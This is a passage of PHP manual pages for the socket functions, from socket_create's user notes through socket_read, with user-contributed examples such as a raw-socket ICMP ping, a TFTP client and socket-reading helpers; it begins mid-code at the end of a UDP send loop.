                $buf.="\x00";
            }
        }
    }
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_sendto($socket, $buf, strlen($buf), 0, $host, $port);
    socket_close($socket);
    usleep($delay*1000);
}
?>
skelly at keenio 16-Jun-2008 10:56
It took some investigation to understand the bit about raw sockets requiring root access and raw sockets being required to perform a seemingly simple "ping" on a Linux server. My source of confusion was that the regular command line "ping" utility did not require me to be root to exec it, so what was the difference? I found the answer starting with a forum posting to look up `man 7 raw` for raw sockets info which reveals:

"Only processes with an effective user ID of 0 or the CAP_NET_RAW  capability are allowed to open raw sockets."

So root is not the only way; the ping utility normally works because it has suid permission. There is some interesting source code however that allows you to selectively assign the CAP_NET_RAW capability without the need for suid. Use at your own risk, this is provided for informational purposes only:

http://www.olafdietsche.de/linux/capability/
shaun at verticalevolution dot com 01-May-2008 12:03
After weeks of trying to find a PHP network client that supports TFTP and Telnet I finally break down and wrote a client library. You can find it here: http://www.verticalevolution.com/blog/index.php?/pages/PHP-Client.html

This isn't like other telnet libraries that just exec the OS's telnet, it makes and negotiates its own options. It creates the TFTP packets to send data back and forth.
alexander dot krause at ed-solutions dot de 20-Mar-2008 12:57
On UNIX systems php needs /etc/protocols for constants like SOL_UDP and SOL_TCP.

This file was missing on my embedded platform.
Jean Charles MAMMANA 31-Jan-2008 04:54
I've written the ping() function using socket_create() with SOCK_RAW.
(on Unix System, you need to have the root acces to execute this function)

<?php

/// start ping.inc.php ///

$g_icmp_error = "No Error";

// timeout in ms
function ping($host, $timeout)
{
        $port = 0;
        $datasize = 64;
        global $g_icmp_error;
        $g_icmp_error = "No Error";
        $ident = array(ord('J'), ord('C'));
        $seq   = array(rand(0, 255), rand(0, 255));

     $packet = '';
     $packet .= chr(8); // type = 8 : request
     $packet .= chr(0); // code = 0

     $packet .= chr(0); // checksum init
     $packet .= chr(0); // checksum init

        $packet .= chr($ident[0]); // identifier
        $packet .= chr($ident[1]); // identifier

        $packet .= chr($seq[0]); // seq
        $packet .= chr($seq[1]); // seq

        for ($i = 0; $i < $datasize; $i++)
                $packet .= chr(0);

        $chk = icmpChecksum($packet);

        $packet[2] = $chk[0]; // checksum init
        $packet[3] = $chk[1]; // checksum init

        $sock = socket_create(AF_INET, SOCK_RAW,  getprotobyname('icmp'));
        $time_start = microtime();
    socket_sendto($sock, $packet, strlen($packet), 0, $host, $port);

    $read   = array($sock);
        $write  = NULL;
        $except = NULL;

        $select = socket_select($read, $write, $except, 0, $timeout * 1000);
        if ($select === NULL)
        {
                $g_icmp_error = "Select Error";
                socket_close($sock);
                return -1;
        }
        elseif ($select === 0)
        {
                $g_icmp_error = "Timeout";
                socket_close($sock);
                return -1;
        }

    $recv = '';
    $time_stop = microtime();
    socket_recvfrom($sock, $recv, 65535, 0, $host, $port);
        $recv = unpack('C*', $recv);

        if ($recv[10] !== 1) // ICMP proto = 1
        {
                $g_icmp_error = "Not ICMP packet";
                socket_close($sock);
                return -1;
        }

        if ($recv[21] !== 0) // ICMP response = 0
        {
                $g_icmp_error = "Not ICMP response";
                socket_close($sock);
                return -1;
        }

        if ($ident[0] !== $recv[25] || $ident[1] !== $recv[26])
        {
                $g_icmp_error = "Bad identification number";
                socket_close($sock);
                return -1;
        }

        if ($seq[0] !== $recv[27] || $seq[1] !== $recv[28])
        {
                $g_icmp_error = "Bad sequence number";
                socket_close($sock);
                return -1;
        }

        $ms = ($time_stop - $time_start) * 1000;

        if ($ms < 0)
        {
                $g_icmp_error = "Response too long";
                $ms = -1;
        }

        socket_close($sock);

        return $ms;
}

function icmpChecksum($data)
{
        $bit = unpack('n*', $data);
        $sum = array_sum($bit);

        if (strlen($data) % 2) {
                $temp = unpack('C*', $data[strlen($data) - 1]);
                $sum += $temp[1];
        }

        $sum = ($sum >> 16) + ($sum & 0xffff);
        $sum += ($sum >> 16);

        return pack('n*', ~$sum);
}

function getLastIcmpError()
{
        global $g_icmp_error;
        return $g_icmp_error;
}
/// end ping.inc.php ///
?>
Kyle Wilson 22-Jan-2008 05:02
to ionic and david...

I'm just taking a stab at this, but wouldn't some combination of gethostbynamel and php_uname('n') provide you with the world-facing IP address without making a system call or using expensive socket operations?  Don't get me wrong, socket operations have their place, but if you just need the server IP from a cli script, socket operations seem expensive. :)

<?php
print_r(gethostbynamel(php_uname('n')));
?>
matth ingersoll 03-May-2007 10:45
When running these types of sockets, typically you need to be root or else they fail (not the case with stream sockets: http://us.php.net/manual/en/function.stream-socket-server.php)

This is an example for Linux/Unix type systems to use sockets without being root. (tested on Debian and CentOS)

<?php
$user = "daemon";
$script_name = "uid"; //the name of this script

/////////////////////////////////////////////
//try creating a socket as a user other than root
echo "\n__________________________________________\n";
echo "Trying to start a socket as user $user\n";
$uid_name = posix_getpwnam($user);
$uid_name = $uid_name['uid'];

if(posix_seteuid($uid_name))
{
        echo "SUCCESS: You are now $user!\n";
        if($socket = @socket_create(AF_INET, SOCK_RAW, 1))
        {
                echo "SUCCESS: You are NOT root and created a socket! This should not happen!\n";
        } else {
                echo "ERROR: socket_create() failed because you're not root!\n";
        }
        $show_process = shell_exec("ps aux | grep -v grep | grep $script_name");
        echo "Current process stats::-->\t $show_process";
} else {
        exit("ERROR: seteuid($uid_name) failed!\n");
}

/////////////////////////////////////////////
//no try creating a socket as root
echo "\n__________________________________________\n";
echo "Trying to start a socket as user 'root'\n";
if(posix_seteuid(0))
{
        echo "SUCCESS: You are now root!\n";
        $show_process = shell_exec("ps aux | grep -v grep | grep $script_name");
        echo "Current process stats::-->\t $show_process";
        if($socket = @socket_create(AF_INET, SOCK_RAW, 1))
        {
                echo "SUCCESS: You created a socket as root and now should seteuid() to another user\n";
                /////////////////////////////////////////
                //now modify the socket as another user
                echo "\n__________________________________________\n";
                echo "Switching to user $user\n";
                if(posix_seteuid($uid_name))
                {
                        echo "SUCCESS: You are now $user!\n";
                        if(socket_bind($socket, 0, 8000))
                        {
                                echo "SUCCESS: socket_bind() worked as $user!\n";
                        } else {
                                echo "ERROR: Must be root to user socket_bind()\n";
                        }
                        $show_process = shell_exec("ps aux | grep -v grep | grep $script_name");
                        echo "Current process stats::-->\t $show_process";
                        socket_close($socket); //hard to error check but it does close as this user
                        echo "SUCCESS: You closed the socket as user $user!\n";
                } else {
                        echo "ERROR: seteuid($uid_name) failed while socket was open!\n";
                }

        } else {
                echo "ERROR: Socket failed for some reason!\n";
        }
} else {
        exit("ERROR: Changing to root failed!\n");
}
?>
ionic at ionic dot de 21-Jan-2007 03:39
To david _at* eder #do; us:

Dependent on your system, you could, at least on LINUX, use exec with "/sbin/ifconfig eth0 | awk '/inet /{ print substr($2,9) }'" (also working for non-root users), that will work a little bit faster as your PHP function.

Though, we should keep in mind that users with safe_mode enabled are more or less forced to use the socket thing. :)
jens at surefoot dot com 08-Aug-2006 05:46
Please be aware that RAW sockets (as used for the ping example) are restricted to root accounts on *nix systems. Since web servers hardly ever run as root, they won't work on webpages.

On Windows based servers it should work regardless.
06-Jan-2006 02:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
    $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET, SOCK_RAW, 1);

    /* set socket receive timeout to 1 second */
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

    /* connect to socket */
    socket_connect($socket, $host, null);

    /* record start time */
    list($start_usec, $start_sec) = explode(" ", microtime());
    $start_time = ((float) $start_usec + (float) $start_sec);

    socket_send($socket, $package, strlen($package), 0);

    if(@socket_read($socket, 255)) {
        list($end_usec, $end_sec) = explode(" ", microtime());
        $end_time = ((float) $end_usec + (float) $end_sec);

        $total_time = $end_time - $start_time;

        return $total_time;
    } else {
        return false;
    }

    socket_close($socket);
}

?>
kyle gibson 28-Oct-2005 05:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us 25-Jan-2005 11:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_connect($socket, $dest, $port);
    socket_getsockname($socket, $addr, $port);
    socket_close($socket);
    return $addr;
  }
?>
david at eder dot us 08-Jun-2004 08:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    // create the request packet
    $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
    // UDP is connectionless, so we just send on it.
    socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

    $buffer = '';
    $port = '';
    $ret = '';
    do
    {
      // $buffer and $port both come back with information for the ack
      // 516 = 4 bytes for the header + 512 bytes of data
      socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

      // add the block number from the data packet to the ack packet
      $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
      // send ack
      socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

      // append the data to the return variable
      // for large files this function should take a file handle as an arg
      $ret .= substr($buffer, 4);
    }
    while(strlen($buffer) == 516);  // the first non-full packet is the last.
    return $ret;
  }
?>
evan at coeus hyphen group dot com 14-Feb-2002 06:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)
email at NOSPAMrichard-samar dot de 13-Feb-2002 01:10
Actually, you don't need to use
getprotobyname("tcp") but instead can use
the constants:  SOL_TCP  and   SOL_UDP.

Here an extract of the source from
ext/sockets which should make this clear.

if ((pe = getprotobyname("tcp"))) {
        REGISTER_LONG_CONSTANT("SOL_TCP", pe->p_proto,
        CONST_CS | CONST_PERSISTENT);
}

Normally the third parameter can be set to 0. In the
original BSD Socket implementation the third parameter
(there are 8 different types, here only two) should be
IPPROTO_TCP or IPPROTO_UPD (or one of the 6 others ones).
These two parameters are though not warpped in PHP as
constants and therefore not available.
Please use SOL_TCP  and   SOL_UDP. e.g.:

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Please be aware of the fact that UDP
and TCP can only be used with AF_INET which is: "Adress Family Internet". With UNIX Domain sockets TCP/UDP would make no sense!

best regards
-Richard-Moh Samar
socket_create_pair
socket_get_option
Socket Functions


Gets socket options for the socket

socket_create
socket_getpeername
Socket Functions
PHP Manual

socket_get_option

(PHP 4 >= 4.3.0, PHP 5)

socket_get_option — Gets socket options for the socket

Description

mixed socket_get_option ( resource $socket , int $level , int $optname )

The socket_get_option() function retrieves the value for the option specified by the optname parameter for the specified socket.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

level

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

optname
Available Socket Options
Option | Description | Type
SO_DEBUG | Reports whether debugging information is being recorded. | int
SO_BROADCAST | Reports whether transmission of broadcast messages is supported. | int
SO_REUSEADDR | Reports whether local addresses can be reused. | int
SO_KEEPALIVE | Reports whether connections are kept active with periodic transmission of messages. If the connected socket fails to respond to these messages, the connection is broken and processes writing to that socket are notified with a SIGPIPE signal. | int
SO_LINGER

Reports whether the socket lingers on socket_close() if data is present. By default, when the socket is closed, it attempts to send all unsent data. In the case of a connection-oriented socket, socket_close() will wait for its peer to acknowledge the data.

If l_onoff is non-zero and l_linger is zero, all the unsent data will be discarded and RST (reset) is sent to the peer in the case of a connection-oriented socket.

On the other hand, if l_onoff is non-zero and l_linger is non-zero, socket_close() will block until all the data is sent or the time specified in l_linger elapses. If the socket is non-blocking, socket_close() will fail and return an error.

array. The array will contain two keys: l_onoff and l_linger.
SO_OOBINLINE | Reports whether the socket leaves out-of-band data inline. | int
SO_SNDBUF | Reports the size of the send buffer. | int
SO_RCVBUF | Reports the size of the receive buffer. | int
SO_ERROR | Reports information about error status and clears it. | int (cannot be set by socket_set_option())
SO_TYPE | Reports the socket type (e.g. SOCK_STREAM). | int (cannot be set by socket_set_option())
SO_DONTROUTE | Reports whether outgoing messages bypass the standard routing facilities. | int
SO_RCVLOWAT | Reports the minimum number of bytes to process for socket input operations. | int
SO_RCVTIMEO | Reports the timeout value for input operations. | array. The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value.
SO_SNDTIMEO | Reports the timeout value specifying the amount of time that an output function blocks because flow control prevents data from being sent. | array. The array will contain two keys: sec which is the seconds part on the timeout value and usec which is the microsecond part of the timeout value.
SO_SNDLOWAT | Reports the minimum number of bytes to process for socket output operations. | int
TCP_NODELAY | Reports whether the Nagle TCP algorithm is disabled. | int
MCAST_JOIN_GROUP | Joins a multicast group. (added in PHP 5.4) | array with keys "group", specifying a string with an IPv4 or IPv6 multicast address and "interface", specifying either an interface number (type int) or a string with the interface name, like "eth0". 0 can be specified to indicate the interface should be selected using routing rules. (can only be used in socket_set_option())
MCAST_LEAVE_GROUP | Leaves a multicast group. (added in PHP 5.4) | array. See MCAST_JOIN_GROUP for more information. (can only be used in socket_set_option())
MCAST_BLOCK_SOURCE | Blocks packets arriving from a specific source to a specific multicast group, which must have been previously joined. (added in PHP 5.4) | array with the same keys as MCAST_JOIN_GROUP, plus one extra key, source, which maps to a string specifying an IPv4 or IPv6 address of the source to be blocked. (can only be used in socket_set_option())
MCAST_UNBLOCK_SOURCE | Unblocks (start receiving again) packets arriving from a specific source address to a specific multicast group, which must have been previously joined. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
MCAST_JOIN_SOURCE_GROUP | Receive packets destined to a specific multicast group whose source address matches a specific value. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
MCAST_LEAVE_SOURCE_GROUP | Stop receiving packets destined to a specific multicast group whose soure address matches a specific value. (added in PHP 5.4) | array with the same format as MCAST_BLOCK_SOURCE. (can only be used in socket_set_option())
IP_MULTICAST_IF | The outgoing interface for IPv4 multicast packets. (added in PHP 5.4) | Either int specifying the interface number or a string with an interface name, like eth0. The value 0 can be used to indicate the routing table is to used in the interface selection. The function socket_get_option() returns an interface index. Note that, unlike the C API, this option does NOT take an IP address. This eliminates the interface difference between IP_MULTICAST_IF and IPV6_MULTICAST_IF.
IPV6_MULTICAST_IF | The outgoing interface for IPv6 multicast packets. (added in PHP 5.4) | The same as IP_MULTICAST_IF.
IP_MULTICAST_LOOP | The multicast loopback policy for IPv4 packets, which determines whether multicast packets sent by this socket also reach receivers in the same host that have joined the same multicast group on the outgoing interface used by this socket. This is the case by default. (added in PHP 5.4) | int (either 0 or 1). For socket_set_option() any value will be accepted and will be converted to a boolean following the usual PHP rules.
IPV6_MULTICAST_LOOP | Analogous to IP_MULTICAST_LOOP, but for IPv6. (added in PHP 5.4) | int. See IP_MULTICAST_LOOP.
IP_MULTICAST_TTL | The time-to-live of outgoing IPv4 multicast packets. This should be a value between 0 (don't leave the interface) and 255. The default value is 1 (only the local network is reached). (added in PHP 5.4) | int between 0 and 255.
IPV6_MULTICAST_HOPS | Analogous to IP_MULTICAST_TTL, but for IPv6 packets. The value -1 is also accepted, meaning the route default should be used. (added in PHP 5.4) | int between -1 and 255.

Return Values

Returns the value of the given option, or FALSE on errors.

Examples

Example #1 socket_set_option() example

<?php
$socket = socket_create_listen(1223);

$linger = array('l_linger' => 1, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);

var_dump(socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR));
?>

Changelog

Version | Description
4.3.0 | The name of this function was changed. It used to be called socket_getopt().

User Contributed Notes

Chad Lavoie 13-Dec-2010 12:52
If using Unix Sockets, and you want to use SO_PEERCRED, you can use the number 17 for the optname (and SOL_SOCKET for the level).  The PID of the connecting process will be returned.
recycling dot sp dot am at gmail dot com 14-Sep-2010 05:31
Just 2 notes here:
- On UNIX, If SO_DEBUG is set, the php program needs an effective user id of 0.
-  activating SO_OOBINLINE on a socket is equivalent to passing MSG_OOB flag to each recieving functions used with that socket (eg: socket_recv, socket_recvfrom).
socket_create
socket_getpeername
Socket Functions


Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

socket_get_option
socket_getsockname
Socket Functions
PHP Manual

socket_getpeername

(PHP 4 >= 4.1.0, PHP 5)

socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getpeername ( resource $socket , string &$address [, int &$port ] )

Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

address

If the given socket is of type AF_INET or AF_INET6, socket_getpeername() will return the peers (remote) IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getpeername() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

port

If given, this will hold the port associated to address.

Return Values

Returns TRUE on success or FALSE on failure. socket_getpeername() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

Notes

Note:

socket_getpeername() should not be used with AF_UNIX sockets created with socket_accept(). Only sockets created with socket_connect() or a primary server socket following a call to socket_bind() will return meaningful values.

Note:

For having socket_getpeername() to return a meaningful value, the socket it is applied upon must of course be one for which the concept of "peer" makes sense.

See Also

  • socket_getsockname() - Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

redph0enix at hotmail dot com 09-Sep-2003 08:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";
socket_get_option
socket_getsockname
Socket Functions


Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

socket_getpeername
socket_last_error
Socket Functions
PHP Manual

socket_getsockname

(PHP 4 >= 4.1.0, PHP 5)

socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type

Description

bool socket_getsockname ( resource $socket , string &$addr [, int &$port ] )

Note: socket_getsockname() should not be used with AF_UNIX sockets created with socket_connect(). Only sockets created with socket_accept() or a primary server socket following a call to socket_bind() will return meaningful values.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

addr

If the given socket is of type AF_INET or AF_INET6, socket_getsockname() will return the local IP address in appropriate notation (e.g. 127.0.0.1 or fe80::1) in the address parameter and, if the optional port parameter is present, also the associated port.

If the given socket is of type AF_UNIX, socket_getsockname() will return the Unix filesystem path (e.g. /var/run/daemon.sock) in the address parameter.

port

If provided, this will hold the associated port.

Return Values

Returns TRUE on success or FALSE on failure. socket_getsockname() may also return FALSE if the socket type is not any of AF_INET, AF_INET6, or AF_UNIX, in which case the last socket error code is not updated.

See Also

  • socket_getpeername() - Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

not at valid dot com 13-Oct-2007 12:35
Just a quick note:
I found socket_getsockname() is not IPv6 compatible or may just return some unexpected results?

<?php
Simple Code Example:

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_bind($socket,'0.0.0.0',150);

socket_getsockname($socket, $IP, $PORT);

print $IP.":".$PORT."\n";

?>

This does not print $IP 127.0.0.1 or 192.168.1.1 or even 0.0.0.0 ... etc ... like you would expect ... in my case I receive 10.0.0.0 witch is not a valid port on my system using IPv5 and IPv6! Thus you should rely on using the initial values of socket_bind() to get the local address.

Hope this helps...
socket_getpeername
socket_last_error
Socket Functions


Returns the last error on the socket

socket_getsockname
socket_listen
Socket Functions
PHP Manual

socket_last_error

(PHP 4 >= 4.1.0, PHP 5)

socket_last_error — Returns the last error on the socket

Description

int socket_last_error ([ resource $socket ] )

If a socket resource is passed to this function, the last error which occurred on this particular socket is returned. If the socket resource is omitted, the error code of the last failed socket function is returned. The latter is particularly helpful for functions like socket_create() which don't return a socket on failure and socket_select() which can fail for reasons not directly tied to a particular socket. The error code is suitable to be fed to socket_strerror() which returns a string describing the given error code.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

This function returns a socket error code.

Examples

Example #1 socket_last_error() example

<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket === false) {
    $errorcode = socket_last_error();
    $errormsg = socket_strerror($errorcode);

    die("Couldn't create socket: [$errorcode] $errormsg");
}
?>

Notes

Note:

socket_last_error() does not clear the error code, use socket_clear_error() for this purpose.

User Contributed Notes

ca at php dot spamtrak dot org 15-Dec-2009 02:33
This is a bit long, but personally I prefer to use the standard C defines in my code.

<?php

define('ENOTSOCK',      88);    /* Socket operation on non-socket */
define('EDESTADDRREQ',  89);    /* Destination address required */
define('EMSGSIZE',      90);    /* Message too long */
define('EPROTOTYPE',    91);    /* Protocol wrong type for socket */
define('ENOPROTOOPT',   92);    /* Protocol not available */
define('EPROTONOSUPPORT', 93);  /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94);  /* Socket type not supported */
define('EOPNOTSUPP',    95);    /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT',  96);    /* Protocol family not supported */
define('EAFNOSUPPORT',  97);    /* Address family not supported by protocol */
define('EADDRINUSE',    98);    /* Address already in use */
define('EADDRNOTAVAIL', 99);    /* Cannot assign requested address */
define('ENETDOWN',      100);   /* Network is down */
define('ENETUNREACH',   101);   /* Network is unreachable */
define('ENETRESET',     102);   /* Network dropped connection because of reset */
define('ECONNABORTED',  103);   /* Software caused connection abort */
define('ECONNRESET',    104);   /* Connection reset by peer */
define('ENOBUFS',       105);   /* No buffer space available */
define('EISCONN',       106);   /* Transport endpoint is already connected */
define('ENOTCONN',      107);   /* Transport endpoint is not connected */
define('ESHUTDOWN',     108);   /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS',  109);   /* Too many references: cannot splice */
define('ETIMEDOUT',     110);   /* Connection timed out */
define('ECONNREFUSED',  111);   /* Connection refused */
define('EHOSTDOWN',     112);   /* Host is down */
define('EHOSTUNREACH',  113);   /* No route to host */
define('EALREADY',      114);   /* Operation already in progress */
define('EINPROGRESS',   115);   /* Operation now in progress */
define('EREMOTEIO',     121);   /* Remote I/O error */
define('ECANCELED',     125);   /* Operation Canceled */
?>
socket_getsockname
socket_listen
Socket Functions


Listens for a connection on a socket

socket_last_error
socket_read
Socket Functions
PHP Manual

socket_listen

(PHP 4 >= 4.1.0, PHP 5)

socket_listen — Listens for a connection on a socket

Description

bool socket_listen ( resource $socket [, int $backlog = 0 ] )

After the socket socket has been created using socket_create() and bound to a name with socket_bind(), it may be told to listen for incoming connections on socket.

socket_listen() is applicable only to sockets of type SOCK_STREAM or SOCK_SEQPACKET.

Parameters

socket

A valid socket resource created with socket_create().

backlog

A maximum of backlog incoming connections will be queued for processing. If a connection request arrives with the queue full the client may receive an error with an indication of ECONNREFUSED, or, if the underlying protocol supports retransmission, the request may be ignored so that retries may succeed.

Note:

The maximum number passed to the backlog parameter highly depends on the underlying platform. On Linux, it is silently truncated to SOMAXCONN. On win32, if passed SOMAXCONN, the underlying service provider responsible for the socket will set the backlog to a maximum reasonable value. There is no standard provision to find out the actual backlog value on this platform.

Return Values

Returns TRUE on success or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

Karuna Govind (karuna.kgx gmail) 15-Jul-2008 04:10
To change the maximum allowed backlog by your system (*nix machines only), first you need to find the variable for this limit:

sudo sysctl -a | grep somaxconn

On ubuntu boxes, it returns net.core.somaxconn (you need to look for the 'somaxconn' variable, the full name will vary across different systems).

Update this to a large number as follows:

sudo sysctl -w net.core.somaxconn=1024

This will work straight away. no restart required.
lewislp at yahoo dot com 30-Aug-2005 12:13
socket_listen() cannot be used for UDP communications as discussed below.

In addition, the example below discusses UDP connections, which only exist if the application manages them through a state table (the OS does not create a UDP connection upon receiving a datagram).  Having a function named socket_connect() that determines the remote IP and port only confuses the matter by giving the indication of some sort of connection handshake between two hosts.  Rather, socket_connect() only specifies the remote IP and port used by subsequent socket_send() calls.  You can achieve the same effect by skipping socket_connect() altogether and specifying the remote IP and port in socket_sendto() calls.

If you find yourself writing a connection-based protocol on top of UDP, consider using TCP.  If your application requires streaming data of some sort, use TCP to manage connections and control messages, and UDP to handle the streaming data (H.323 is an example of a suite of TCP and UDP protocols working in conjunction).
socket_last_error
socket_read
Socket Functions


Reads a maximum of length bytes from a socket

socket_listen
socket_recv
Socket Functions
PHP Manual

socket_read

(PHP 4 >= 4.1.0, PHP 5)

socket_read — Reads a maximum of length bytes from a socket

Description

string socket_read ( resource $socket , int $length [, int $type = PHP_BINARY_READ ] )

The function socket_read() reads from the socket resource socket created by the socket_create() or socket_accept() functions.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

length

The maximum number of bytes read is specified by the length parameter. Otherwise you can use \r, \n, or \0 to end reading (depending on the type parameter, see below).

type

Optional type parameter is a named constant:

  • PHP_BINARY_READ (Default) - use the system recv() function. Safe for reading binary data.
  • PHP_NORMAL_READ - reading stops at \n or \r.

Return Values

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.

Note:

socket_read() returns a zero length string ("") when there is no more data to read.

Changelog

Version | Description
4.1.0 | The default value for type was changed from PHP_NORMAL_READ to PHP_BINARY_READ

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error
  • socket_write() - Write to a socket

User Contributed Notes

eng.mrkto.com 29-Mar-2011 04:42
It seems like in socket_* functions in BLOCKING mode where is no way to check if more than $length bytes are still available in socket (like stream_get_meta_data()['unread_bytes']).
So you need to choose your prefered maximum $length (like 133693415:) or use non-blocking mode (for realy big data reciving).
hamishcool3 at yahoo dot co dot uk 25-Oct-2010 03:13
A couple of things:

The maximum amount that can be read by socket_read is, I think, 133693415 bytes, from my experimentation.

Also, here is a quick function if anyone wants to read indefinitely until a certain character is sent:

<?php
function socket_read_normal($socket, $end=array("\r", "\n")){
    if(is_array($end)){
        foreach($end as $k=>$v){
            $end[$k]=$v{0};
        }
        $string='';
        while(TRUE){
            $char=socket_read($socket,1);
            $string.=$char;
            foreach($end as $k=>$v){
                if($char==$v){
                    return $string;
                }
            }
        }
    }else{
        $endr=str_split($end);
        $try=count($endr);
        $string='';
        while(TRUE){
            $ver=0;
            foreach($endr as $k=>$v){
                $char=socket_read($socket,1);
                $string.=$char;
                if($char==$v){
                    $ver++;
                }else{
                    break;
                }
                if($ver==$try){
                    return $string;
                }
            }
        }
    }
}
?>

You can have either an array of single characters (multi-char values are automatically cut down) or one string. Multiple strings are difficult to do, because you would need to decide which string the current character should 'belong' to (if that makes any sense?) and allow for multiple strings being looked at simultaneously. To put it bluntly, I can't be bothered :)
philthathril at NOSPAM dot gmail dot com 19-Oct-2009 10:49
I discovered that socket_read() was not always grabbing the length that I requested. If I requested 1024 bytes, it may return any number smaller than that. Well, due to the nature of network traffic, there's no way to determine how much data will be read from the socket each time.

To read data of a certain length, this little method works well.

<?php
public function readSocketForDataLength ($socket, $len)
{
    $offset = 0;
    $socketData = '';

    while ($offset < $len) {
        if (($data = @socket_read ($socket, $len-$offset, $this->readType)) === false) {
            $this->error();
            return false;
        }

        $dataLen = strlen ($data);
        $offset += $dataLen;
        $socketData .= $data;

        if ($dataLen == 0) { break; }
    }

    return $socketData;
}
?>

Happy coding!
p dot hannay at ecu dot edu dot au 29-Apr-2009 09:30
Here is a quick example of how to use socket_read to receive data until the connection is terminated.

I've found this useful when I need to manually retrieve replies to XML-RPC queries.

<?php
$reply = "";
do {
     $recv = "";
     $recv = socket_read($socket, '1400');
     if($recv != "") {
         $reply .= $recv;
     }
} while($recv != "");

echo($reply);
?>
t33th4n at gmail dot com 23-Feb-2009 12:53
I don't know if is it stated anywhere with this clearance, but here is the source code for detecting the connection abort/closure for sockets testing with socket_read function:

<?php
$buf = @socket_read($routes[$i][$connectionid]['tunnelsrc'], $buffer_size);
if ($buf === '')
{
    $routes[$i][$connectionid]['disconnected']='Conenction abort at source side';
}
?>

($buf === '') is the key :)

I was making an ecrypted tunnel script with mcrypt and was annoying that i could not detect the connection abort from any side.
